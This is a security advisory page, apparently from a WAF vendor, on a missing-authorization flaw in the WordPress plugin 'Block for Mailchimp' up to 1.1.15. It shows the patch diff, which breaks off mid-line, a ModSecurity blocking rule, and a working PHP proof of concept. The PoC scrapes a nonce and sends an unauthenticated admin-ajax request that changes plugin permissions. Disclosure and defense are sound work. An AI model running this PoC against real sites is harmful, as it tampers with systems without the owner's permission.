-            if ( is_plugin_active( $this->config->slug . '/' . $basename ) ) {
-                deactivate_plugins( $this->config->slug . '/' . $basename );
-            }
-            if ( is_plugin_active( $this->config->slug . '-pro/' . $basename ) ) {
-                deactivate_plugins( $this->config->slug . '-pro/' . $basename );
-            }
-        }
-
-    }
-
-}
-if ( !function_exists( 'fs_lite_dynamic_init' ) ) {
-    function fs_lite_dynamic_init(  $module  ) {
-        try {
-            if ( function_exists( 'fs_dynamic_init' ) ) {
-                return fs_dynamic_init( $module );
-            }
-            $caller = debug_backtrace();
-            if ( isset( $caller[0]['file'] ) ) {
-                $module['__FILE__'] = $caller[0]['file'];
-            }
-            if ( !isset( $module['__FILE__'] ) ) {
-                throw new Error("No __FILE__");
-            }
-            $fs = new BPluginsFSLite($module);
-            return $fs;
-        } catch ( Throwable $th ) {
-            throw $th->getMessage();
-        }
-    }
-
-}
 No newline at end of file
--- a/block-for-mailchimp/includes/admin-menu.php
+++ b/block-for-mailchimp/includes/admin-menu.php
@@ -1,8 +1,8 @@
 <?php
 if (!defined('ABSPATH')) {exit;}
-if(!class_exists('MCBAdminMenu')) {
+if(!class_exists('BPBFM_AdminMenu')) {

-    class MCBAdminMenu {
+    class BPBFM_AdminMenu {

         public function __construct() {
             add_action( 'admin_enqueue_scripts', [$this, 'adminEnqueueScripts'] );
@@ -10,43 +10,35 @@
         }

         public function adminEnqueueScripts($hook) {
-
-            // if( strpos( $hook, 'block-for-mailchimp' ) ){
-                wp_enqueue_style( 'mcb-admin-dashboard', MCB_DIR . 'build/admin-dashboard.css', [], MCB_PLUGIN_VERSION );
-                wp_enqueue_script( 'mcb-admin-dashboard', MCB_DIR . 'build/admin-dashboard.js', [ 'react', 'react-dom', 'wp-data', "wp-api", "wp-util", "wp-i18n" ], MCB_PLUGIN_VERSION, true );
-                wp_set_script_translations( 'mcb-admin-dashboard', 'block-for-mailchimp', MCB_DIR_PATH . 'languages' );
-            // }
-
-
+            // WP-01: Only load on our own admin page (Demo & Help submenu)
+            if ( 'block-for-mailchimp_page_mcb' !== $hook ) {
+                return;
+            }
+            wp_enqueue_style( 'mcb-admin-dashboard', BPBFM_DIR . 'build/admin-dashboard.css', [], BPBFM_PLUGIN_VERSION );
+            wp_enqueue_script( 'mcb-admin-dashboard', BPBFM_DIR . 'build/admin-dashboard.js', [ 'react', 'react-dom', 'wp-data', "wp-api", "wp-util", "wp-i18n" ], BPBFM_PLUGIN_VERSION, true );
+            wp_set_script_translations( 'mcb-admin-dashboard', 'block-for-mailchimp', BPBFM_DIR_PATH . 'languages' );
         }

         public function adminMenu(){
-
             add_submenu_page(
                 'edit.php?post_type=block-for-mailchimp',
                 __('Demo & Help', 'block-for-mailchimp'),
                 __('Demo & Help', 'block-for-mailchimp'),
                 'manage_options',
                 'mcb',
-                [$this, 'bsbHelpPage'],
+                [$this, 'bsbHelpPage']
             );
-
         }

         public function bsbHelpPage()
         {?>
-            <div
-                id='mcbDashboard'
+            <div id='mcbDashboard'
                 data-info='<?php echo esc_attr( wp_json_encode( [
-                    'version' => MCB_PLUGIN_VERSION,
-                    'isPremium' => mcbIsPremium(),
-                    'hasPro' => MCB_IS_PRO,
-                    'nonce' => wp_create_nonce( 'apbCreatePage' ),
-		            'licenseActiveNonce' => wp_create_nonce( 'bPlLicenseActivation' )
+                    'version' => BPBFM_PLUGIN_VERSION
                 ] ) ); ?>'
             >
             </div>
         <?php }
     }
-    new MCBAdminMenu();
+    new BPBFM_AdminMenu();
 }
 No newline at end of file
--- a/block-for-mailchimp/index.php
+++ b/block-for-mailchimp/index.php
@@ -1,102 +1,71 @@
 <?php
-
 /**
- * Plugin Name: Block For MailChimp
+ * Plugin Name: Block for Mailchimp – Add Email Subscription Forms and Collect Leads
  * Description: Connect your MailChimp with your WordPress.
- * Version: 1.1.15
+ * Version: 1.1.16
  * Author: bPlugins
  * Author URI: http://bplugins.com
- * License: GPLv3
- * License URI: https://www.gnu.org/licenses/gpl-3.0.txt
+ * License: GPLv2 or later
+ * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: block-for-mailchimp
- * @fs_free_only, bsdk_config.json, /freemius-lite
  */
 // ABS PATH
 if ( !defined( 'ABSPATH' ) ) {
     exit;
 }
-if ( function_exists( 'mcb_fs' ) ) {
-    mcb_fs()->set_basename( false, __FILE__ );
+if ( function_exists( 'bpbfm_fs' ) ) {
+    bpbfm_fs()->set_basename( false, __FILE__ );
 } else {
     // Constant
-    define( 'MCB_PLUGIN_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.1.15' ) );
-    define( 'MCB_DIR', plugin_dir_url( __FILE__ ) );
-    define( 'MCB_DIR_PATH', plugin_dir_path( __FILE__ ) );
-    define( 'MCB_ASSETS_DIR', plugin_dir_url( __FILE__ ) . 'assets/' );
-    define( 'MCB_IS_FREE', 'block-for-mailchimp/index.php' === plugin_basename( __FILE__ ) );
-    define( 'MCB_IS_PRO', file_exists( dirname( __FILE__ ) . '/freemius/start.php' ) );
-    if ( !function_exists( 'mcb_fs' ) ) {
+    define( 'BPBFM_PLUGIN_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.1.16' ) );
+    define( 'BPBFM_DIR', plugin_dir_url( __FILE__ ) );
+    define( 'BPBFM_DIR_PATH', plugin_dir_path( __FILE__ ) );
+    define( 'BPBFM_ASSETS_DIR', plugin_dir_url( __FILE__ ) . 'assets/' );
+
+    if ( !function_exists( 'bpbfm_fs' ) ) {
         // Create a helper function for easy SDK access.
-        function mcb_fs() {
-            global $mcb_fs;
-            if ( !isset( $mcb_fs ) ) {
+        function bpbfm_fs() {
+            global $bpbfm_fs;
+            if ( !isset( $bpbfm_fs ) ) {
                 // Include Freemius SDK.
-                if ( MCB_IS_PRO ) {
-                    require_once dirname( __FILE__ ) . '/freemius/start.php';
-                    require_once dirname( __FILE__ ) . '/includes/LicenseActivation.php';
-                } else {
-                    require_once dirname( __FILE__ ) . '/freemius-lite/start.php';
-                }
+
+                    require_once dirname( __FILE__ ) . '/vendor/freemius-lite/start.php';
+
                 $mcbConfig = array(
                     'id'                  => '16870',
                     'slug'                => 'block-for-mailchimp',
-                    'premium_slug'        => 'block-for-mailchimp-pro',
                     'type'                => 'plugin',
                     'public_key'          => 'pk_be17ce2b79a810296764efd7ca327',
                     'is_premium'          => false,
-                    'premium_suffix'      => 'Pro',
-                    'has_premium_version' => true,
-                    'has_addons'          => false,
-                    'has_paid_plans'      => true,
-                    'is_org_compliant'    => true,
-                    'trial'               => array(
-                        'days'               => 7,
-                        'is_require_payment' => true,
-                    ),
                     'menu'                => array(
-                        'slug'       => 'edit.php?post_type=block-for-mailchimp',
-                        'first-path' => 'edit.php?post_type=block-for-mailchimp&page=mcb#/pricing',
-                        'support'    => false,
+                        'slug'           => 'edit.php?post_type=block-for-mailchimp',
+                        'first-path'     => 'edit.php?post_type=block-for-mailchimp&page=mcb#/pricing',
+                        'support'        => false,
                     ),
                 );
-                $mcb_fs = ( MCB_IS_PRO ? fs_dynamic_init( $mcbConfig ) : fs_lite_dynamic_init( $mcbConfig ) );
+                $bpbfm_fs =  fs_lite_dynamic_init( $mcbConfig );
             }
-            return $mcb_fs;
+            return $bpbfm_fs;
         }

         // // Init Freemius.
-        mcb_fs();
+        bpbfm_fs();
         // Signal that SDK was initiated.
-        do_action( 'mcb_fs_loaded' );
-    }
-    function mcbIsPremium() {
-        return ( MCB_IS_PRO ? mcb_fs()->can_use_premium_code() : false );
+        do_action( 'bpbfm_fs_loaded' );
     }
+

     // Mailchimp block
     class MCBMailChimp {
         public function __construct() {
             $this->load_classes();
-            add_action( 'enqueue_block_editor_assets', [$this, 'enqueueBlockEditorAssets'] );
             add_action( 'enqueue_block_assets', [$this, 'mailChimpBlockAssets'] );
             add_action( 'admin_enqueue_scripts', [$this, 'adminEnqueueScripts'] );
             add_action( 'init', [$this, 'onInit'] );
             add_action( 'admin_init', [$this, 'registerMCBSetting'] );
             add_action( 'rest_api_init', [$this, 'registerMCBSetting'] );
-            if ( !MCB_IS_PRO ) {
-                add_filter(
-                    'plugin_action_links',
-                    [$this, 'plugin_action_links'],
-                    10,
-                    2
-                );
-            }
-            add_filter(
-                'plugin_row_meta',
-                array($this, 'insert_plugin_row_meta'),
-                10,
-                2
-            );
+            add_filter( 'plugin_action_links', [$this, 'plugin_action_links'], 10, 2);
+            add_filter( 'plugin_row_meta', array($this, 'insert_plugin_row_meta'), 10, 2);
         }

         public function plugin_action_links( $links, $file ) {
@@ -139,6 +108,9 @@
                 'type'              => 'string',
                 'default'           => '',
                 'sanitize_callback' => 'sanitize_text_field',
+                'auth_callback'     => function() {
+                    return current_user_can( 'manage_options' );
+                },
             ) );
         }

@@ -159,40 +131,20 @@
                 'ajaxUrl' => admin_url( 'admin-ajax.php' ),
                 'nonce'   => wp_create_nonce( 'mcbAllAudienceList' ),
             ] );
-            wp_localize_script( 'mcb-mailchimp-editor-script', 'mcbInfo', [
-                'patternsImagePath' => MCB_DIR . 'assets/img/patterns/',
-            ] );
         }

         // Short code style
         public function adminEnqueueScripts( $hook ) {
             global $post_type;
             if ( $post_type == "mailchimp-block" ) {
-                wp_enqueue_style(
-                    'mcbAdmin',
-                    MCB_ASSETS_DIR . 'css/admin.css',
-                    [],
-                    MCB_PLUGIN_VERSION
-                );
-                wp_enqueue_script(
-                    'mcbAdmin',
-                    MCB_ASSETS_DIR . 'js/admin.js',
-                    ['wp-i18n'],
-                    MCB_PLUGIN_VERSION,
-                    true
-                );
+                wp_enqueue_style( 'mcbAdmin', BPBFM_ASSETS_DIR . 'css/admin.css', [], BPBFM_PLUGIN_VERSION);
+                wp_enqueue_script( 'mcbAdmin', BPBFM_ASSETS_DIR . 'js/admin.js', ['wp-i18n'], BPBFM_PLUGIN_VERSION,true);
             }
         }

         public function onInit() {
             register_block_type( __DIR__ . '/build' );
         }
-
-        public function enqueueBlockEditorAssets() {
-            wp_add_inline_script( 'mcb-mailchimp-editor-script', "const mcbpipecheck=" . wp_json_encode( mcbIsPremium() ) . ';', 'before' );
-        }
-
     }
-
     new MCBMailChimp();
 }
 No newline at end of file
--- a/block-for-mailchimp/mailchimp/API.php
+++ b/block-for-mailchimp/mailchimp/API.php
@@ -1,222 +1,270 @@
-<?php
-if (!defined('ABSPATH')) {exit;}
-
-if(!class_exists('MailChimpApi')) {
-    class MailChimpApi
-    {
-
-        public function __construct()
-        {
-            add_action('wp_ajax_mcbAudienceList', [$this, 'mcbAudienceList']);
-
-            add_action('wp_ajax_mcb_get_access_token', [$this, 'mcb_get_access_token']);
-
-            add_action('wp_ajax_mcbSubmit_Form_Data', [$this, 'mcbSubmit_Form_Data']);
-            add_action('wp_ajax_nopriv_mcbSubmit_Form_Data', [$this, 'mcbSubmit_Form_Data']);
-
-            add_action('wp_ajax_mcbSubmit_Form_AudienceId', [$this, 'mcbSubmit_Form_AudienceId']);
-        }
-
-        public function mcbAudienceList() {
-            // Check if the nonce parameter exists
-            if (!isset($_GET['nonce'])) {
-                wp_die(esc_html__('Nonce is missing', 'block-for-mailchimp'), '', ['response' => 400]);
-            }
-
-            // Unslash and sanitize the nonce
-            $nonce = sanitize_text_field(wp_unslash($_GET['nonce']));
-
-            // Verify the nonce
-            if (!wp_verify_nonce($nonce, 'mcbAllAudienceList')) {
-                wp_die(esc_html__('Invalid nonce', 'block-for-mailchimp'), '', ['response' => 403]);
-            }
-
-            // Check if the access token parameter exists
-            if (!isset($_GET['accessToken'])) {
-                wp_die(esc_html__('Access token is required', 'block-for-mailchimp'), '', ['response' => 400]);
-            }
-
-            // Unslash and sanitize the access token
-            $accessToken = sanitize_text_field(wp_unslash($_GET['accessToken']));
-
-            // Make the first API request to get metadata
-            $response = wp_safe_remote_get("https://login.mailchimp.com/oauth2/metadata", [
-                "method" => "GET",
-                "headers" => [
-                    "Authorization" => "Bearer " . $accessToken,
-                ],
-            ]);
-
-            if (is_wp_error($response)) {
-                wp_die(esc_html__('Failed to fetch data from Mailchimp', 'block-for-mailchimp'), '', ['response' => 500]);
-            }
-
-            $body = wp_remote_retrieve_body($response);
-            $metadata = json_decode($body, true);
-
-            // Check if the API endpoint exists in the metadata
-            if (isset($metadata['api_endpoint'])) {
-                $endpoint_url = $metadata['api_endpoint'];
-                $url = "$endpoint_url/3.0/lists";
-
-                // Make the second API request to fetch audience lists
-                $response = wp_remote_get("$url?count=1000&offset=0", [
-                    "method" => "GET",
-                    "headers" => [
-                        "Authorization" => "Bearer " . $accessToken,
-                    ],
-                ]);
-
-                if (is_wp_error($response)) {
-                    wp_die(esc_html__('Failed to fetch audience lists from Mailchimp', 'block-for-mailchimp'), '', ['response' => 500]);
-                }
-
-                $body = wp_remote_retrieve_body($response);
-                $data = json_decode($body, true);
-
-                // Include the endpoint URL in the response
-                $data['endpoint_url'] = esc_url($url);
-
-
-
-                wp_send_json_success($data);
-            } else {
-                wp_die(esc_html__('Invalid response from Mailchimp', 'block-for-mailchimp'), '', ['response' => 500]);
-            }
-
-            wp_die();
-        }
-
-        public function mcb_get_access_token () {
-
-            if ( ! wp_verify_nonce( isset( $_GET['nonce'] ) ? sanitize_text_field( wp_unslash( $_GET['nonce'] ) ): '', 'mcbAccessTokenGet' ) ) {
-                wp_die();
-            }
-            $state = isset( $_GET['state'] ) ? sanitize_text_field( wp_unslash( $_GET['state'] ) ) : '';
-
-             try {
-                 $response = wp_remote_get("https://api.bplugins.com/wp-json/mailchimp/v1/get-token/?state=$state");
-                 wp_send_json_success($response);
-             } catch (Throwable $th) {
-                //throw $th;
-                wp_send_json_error('something went wrong!');
-             }
-
-
-            // echo wp_remote_retrieve_body($response);
-            // wp_die();
-        }
-
-        public function mcbSubmit_Form_Data() {
-
-            if (!wp_verify_nonce(isset($_GET['nonce'])?sanitize_text_field(wp_unslash($_GET['nonce'])): '', 'mcbFormData' ) ) {
-                wp_die();
-            }
-
-            $data =  get_option('mcb-email-collect');
-            $info = json_decode($data, true);
-
-            $apiKey = $info['key'];
-            $audienceId = isset( $_GET['audienceId'] ) ? sanitize_text_field( wp_unslash( $_GET['audienceId'] ) ) : '';
-            $email = isset( $_GET['email'] ) ? sanitize_email( wp_unslash( $_GET['email'] ) ) : '';
-            $fName = isset( $_GET['fName'] ) ? sanitize_text_field( wp_unslash( $_GET['fName'] )) : '';
-            $lName = isset( $_GET['lName'] ) ? sanitize_text_field( wp_unslash( $_GET['lName'] )) : '';
-            $endpoint_url = isset( $_GET['endpoint_url'] ) ? sanitize_text_field( wp_unslash($_GET['endpoint_url']) ) : '';
-            $accessToken = $info['accessToken'];
-
-            $dc = substr($apiKey, strpos($apiKey, '-') + 1);
-
-            $mailDataCenterList = ["us1", "us2", "us3", "us4", "us5", "us6", "us7", "us8", "us9", "us10", "us11", "us12", "us13", "us14", "us15", "us16", "us17", "us18", "us19", "us20"];
-
-            if (!in_array($dc, $mailDataCenterList) && !$endpoint_url) {
-                echo wp_json_encode(['success' => false, 'status' => 502, 'message' => 'Invalid API Key or endpoint URL!']);
-                wp_die();
-            }
-
-            if (!$audienceId) {
-                echo wp_json_encode(['success' => false, 'status' => 510, 'message' => 'Audience ID Required!']);
-                wp_die();
-            }
-
-            if (!$email) {
-                echo wp_json_encode(['success' => false, 'status' => 511, 'message' => 'Email Address Required!']);
-                wp_die();
-            }
-
-            $url = '';
-            $headers = ["Content-Type" => "application/json"];
-
-            if ($apiKey) {
-                $url = "https://$dc.api.mailchimp.com/3.0/lists/$audienceId/members";
-                $headers["Authorization"] = "apikey " . $apiKey;
-            } else if ($endpoint_url) {
-                $url = "$endpoint_url/$audienceId/members";
-                $headers["Authorization"] = "Bearer " .$accessToken; // Assuming Bearer token for endpoint URL
-            } else {
-                echo wp_json_encode(['success' => false, 'status' => 500, 'message' => 'API Key or endpoint URL Required!']);
-                wp_die();
-            }
-
-            $response = wp_safe_remote_post($url, [
-                "method" => "POST",
-                "headers" => $headers,
-                "body" => wp_json_encode([
-                    "email_address" => $email,
-                    "status" => "subscribed",
-                    'merge_fields' => [
-                        'FNAME' => $fName,
-                        'LNAME' => $lName
-                    ],
-                ]),
-            ]);
-
-            if (is_wp_error($response)) {
-                echo wp_json_encode(['success' => false, 'status' => 500, 'message' => 'Failed to connect to Mailchimp']);
-                wp_die();
-            }
-
-            $body = wp_remote_retrieve_body($response);
-            $data = json_decode($body, true);
-
-            if (isset($data['status']) && $data['status'] == 'subscribed') {
-                echo wp_json_encode(['status' => $data['status'], 'message' => 'Successfully subscribed']);
-            } else {
-                echo wp_json_encode(['status' => $data['status'], 'message' => 'Failed to subscribe', 'data' => $data, ]);
-            }
-
-            wp_die();
-        }
-
-        public function mcbSubmit_Form_AudienceId()
-        {
-            if ( ! wp_verify_nonce( isset( $_GET['nonce'] ) ? sanitize_text_field( wp_unslash( $_GET['nonce'] ) ) : '', 'mcbAudienceIDList' ) ) {
-                wp_die();
-            }
-
-            $apiKey = isset( $_GET['apiKey'] ) ? sanitize_text_field( wp_unslash( $_GET['apiKey'] ) ) : '';
-            $dc = substr($apiKey, strpos($apiKey, '-') + 1);
-
-            $mailDataCenterList = ["us1", "us2", "us3", "us4", "us5", "us6", "us7", "us8", "us9", "us10", "us11", "us12", "us13", "us14", "us15", "us16", "us17", "us18", "us19", "us20"];
-
-            if (!in_array($dc, $mailDataCenterList)) {
-                echo wp_json_encode(['success' => false, 'status' => 502, 'message' => 'Invalid API Key!']);
-                wp_die();
-            }
-
-            try {
-                $res = wp_remote_get("https://$dc.api.mailchimp.com/3.0/lists?count=1000&offset=0", [
-                    "headers" => [
-                        "Authorization" => "Basic " . $apiKey,
-                        "Content-Type" => "application/json",
-                    ],
-                ]);
-                wp_send_json_success($res['body']);
-            } catch (Throwable $th) {
-                //throw $th;
-                wp_send_json_error('Something went wrong!');
-            }
-        }
-    }
-    new MailChimpApi();
-}
-
 No newline at end of file
+<?php
+if (!defined('ABSPATH')) {exit;}
+
+if(!class_exists('BPBFM_Mailchimp_API')) {
+    class BPBFM_Mailchimp_API
+    {
+
+        public function __construct()
+        {
+            add_action('wp_ajax_mcbAudienceList', [$this, 'mcbAudienceList']);
+
+            add_action('wp_ajax_mcb_get_access_token', [$this, 'mcb_get_access_token']);
+
+            add_action('wp_ajax_mcbSubmit_Form_Data', [$this, 'mcbSubmit_Form_Data']);
+            add_action('wp_ajax_nopriv_mcbSubmit_Form_Data', [$this, 'mcbSubmit_Form_Data']);
+
+            add_action('wp_ajax_mcbSubmit_Form_AudienceId', [$this, 'mcbSubmit_Form_AudienceId']);
+        }
+
+        /**
+         * Fetch audience lists via OAuth access token.
+         * S-01: Added capability check.
+         * S-03: Changed from $_GET to $_POST for sensitive data.
+         * S-07: Changed wp_remote_get to wp_safe_remote_get.
+         */
+        public function mcbAudienceList() {
+            // S-01: Capability check
+            if ( ! current_user_can( 'manage_options' ) ) {
+                wp_send_json_error( esc_html__( 'Unauthorized', 'block-for-mailchimp' ), 403 );
+            }
+
+            // Check if the nonce parameter exists (S-03: now from POST)
+            if (!isset($_POST['nonce'])) {
+                wp_send_json_error( esc_html__( 'Nonce is missing', 'block-for-mailchimp' ), 400 );
+            }
+
+            // Unslash and sanitize the nonce
+            $nonce = sanitize_text_field(wp_unslash($_POST['nonce']));
+
+            // Verify the nonce
+            if (!wp_verify_nonce($nonce, 'mcbAllAudienceList')) {
+                wp_send_json_error( esc_html__( 'Security check failed.', 'block-for-mailchimp' ), 403 );
+            }
+
+            // Check if the access token parameter exists (S-03: now from POST)
+            if (!isset($_POST['accessToken'])) {
+                wp_send_json_error( esc_html__( 'Access token is required', 'block-for-mailchimp' ), 400 );
+            }
+
+            // Unslash and sanitize the access token
+            $accessToken = sanitize_text_field(wp_unslash($_POST['accessToken']));
+
+            // Make the first API request to get metadata
+            $response = wp_safe_remote_get("https://login.mailchimp.com/oauth2/metadata", [
+                "method" => "GET",
+                "headers" => [
+                    "Authorization" => "Bearer " . $accessToken,
+                ],
+            ]);
+
+            if (is_wp_error($response)) {
+                wp_send_json_error( esc_html__( 'Failed to fetch data from Mailchimp', 'block-for-mailchimp' ), 500 );
+            }
+
+            $body = wp_remote_retrieve_body($response);
+            $metadata = json_decode($body, true);
+
+            // Check if the API endpoint exists in the metadata
+            if (isset($metadata['api_endpoint'])) {
+                $endpoint_url = $metadata['api_endpoint'];
+
+                // S-02: Validate that the endpoint matches Mailchimp's domain pattern
+                if ( ! preg_match( '#^https://[a-z0-9]+.api.mailchimp.com$#i', $endpoint_url ) ) {
+                    wp_send_json_error( esc_html__( 'Invalid Mailchimp API endpoint', 'block-for-mailchimp' ), 400 );
+                }
+
+                $url = "$endpoint_url/3.0/lists";
+
+                // S-07: Use wp_safe_remote_get instead of wp_remote_get
+                $response = wp_safe_remote_get("$url?count=1000&offset=0", [
+                    "method" => "GET",
+                    "headers" => [
+                        "Authorization" => "Bearer " . $accessToken,
+                    ],
+                ]);
+
+                if (is_wp_error($response)) {
+                    wp_send_json_error( esc_html__( 'Failed to fetch audience lists from Mailchimp', 'block-for-mailchimp' ), 500 );
+                }
+
+                $body = wp_remote_retrieve_body($response);
+                $data = json_decode($body, true);
+
+                // Include the endpoint URL in the response
+                $data['endpoint_url'] = esc_url($url);
+
+                wp_send_json_success($data);
+            } else {
+                wp_send_json_error( esc_html__( 'Invalid response from Mailchimp', 'block-for-mailchimp' ), 500 );
+            }
+        }
+
+        /**
+         * Get access token from bPlugins OAuth relay.
+         * S-01: Added capability check.
+         * S-03: Changed from $_GET to $_POST for sensitive data.
+         * S-08: Proper error response on nonce failure.
+         */
+        public function mcb_get_access_token () {
+            // S-01: Capability check
+            if ( ! current_user_can( 'manage_options' ) ) {
+                wp_send_json_error( esc_html__( 'Unauthorized', 'block-for-mailchimp' ), 403 );
+            }
+
+            // S-03: Nonce from POST, S-08: Proper error response
+            if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ): '', 'mcbAccessTokenGet' ) ) {
+                wp_send_json_error( esc_html__( 'Security check failed.', 'block-for-mailchimp' ), 403 );
+            }
+
+            // S-03: State from POST
+            $state = isset( $_POST['state'] ) ? sanitize_text_field( wp_unslash( $_POST['state'] ) ) : '';
+
+             try {
+                 // S-07: Use wp_safe_remote_get for external requests
+                 $response = wp_safe_remote_get("https://api.b

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:202656063,phase:2,deny,status:403,chain,msg:'CVE-2026-56063 - Block for Mailchimp unauthorized AJAX access',severity:'CRITICAL',tag:'CVE-2026-56063'"
SecRule ARGS_POST:action "@rx ^bsdk_fetch_info_d+$" "t:none,chain"
SecRule ARGS_POST:thread "@streq permission_update" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56063 - Block for Mailchimp – Add Email Subscription Forms and Collect Leads <= 1.1.15 - Missing Authorization

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Extract a nonce from the plugin's admin page or JavaScript
// The nonce can be found in the plugin's opt-in form HTML or JavaScript files
// For this PoC, we attempt to fetch a nonce from the plugin's REST API or admin page
$nonce = get_nonce($target_url);
if (!$nonce) {
    die("[-] Error: Could not obtain nonce. The plugin may not be installed or accessible.n");
}
echo "[+] Nonce obtained: $noncen";

// Step 1: Exploit the 'bsdk_fetch_info_' AJAX action without authentication
// The action parameter is 'bsdk_fetch_info_' + plugin ID (default is often 1)
$plugin_id = 1; // Adjust if the plugin uses a different ID
$action = 'bsdk_fetch_info_' . $plugin_id;

$post_data = [
    'action' => $action,
    'nonce' => $nonce,
    'thread' => 'permission_update',
    'permissions' => 'is_diagnostic_tracking_allowed',
    'is_enabled' => 'true'
];

echo "[+] Sending exploit request to enable tracking permissions...n";
$response = send_post($ajax_url, $post_data);
if ($response === false) {
    die("[-] Error: Failed to send request.n");
}

$decoded = json_decode($response, true);
if ($decoded && isset($decoded['success']) && $decoded['success'] === true) {
    echo "[+] Success! Tracking permissions were updated.n";
} else {
    echo "[-] Request failed or server returned an error.n";
    echo "Response: " . $response . "n";
}

/**
 * Attempts to obtain a nonce from the plugin's opt-in page or JavaScript.
 */
function get_nonce($base_url) {
    // Use the plugin's admin page URL to find the nonce
    // The opt-in page is usually at admin.php?page=block-for-mailchimp-opt-in
    $admin_page_url = rtrim($base_url, '/') . '/wp-admin/admin.php?page=block-for-mailchimp-opt-in';
    $html = send_get($admin_page_url);
    if ($html === false) {
        return false;
    }

    // Look for a nonce in the HTML (data-nonce attribute)
    preg_match('/data-nonce="([a-f0-9]+)"/i', $html, $matches);
    if (isset($matches[1]) && strlen($matches[1]) === 10) {
        return $matches[1];
    }

    // Alternative: look for wp_create_nonce output
    preg_match('/"nonce":"([a-f0-9]+)"/i', $html, $matches);
    if (isset($matches[1])) {
        return $matches[1];
    }

    return false;
}

/**
 * Sends a GET request and returns the response body.
 */
function send_get($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP%20Cookie%20check'); // Simulate a WordPress session
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

/**
 * Sends a POST request and returns the response body.
 */
function send_post($url, $data) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP%20Cookie%20check');
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.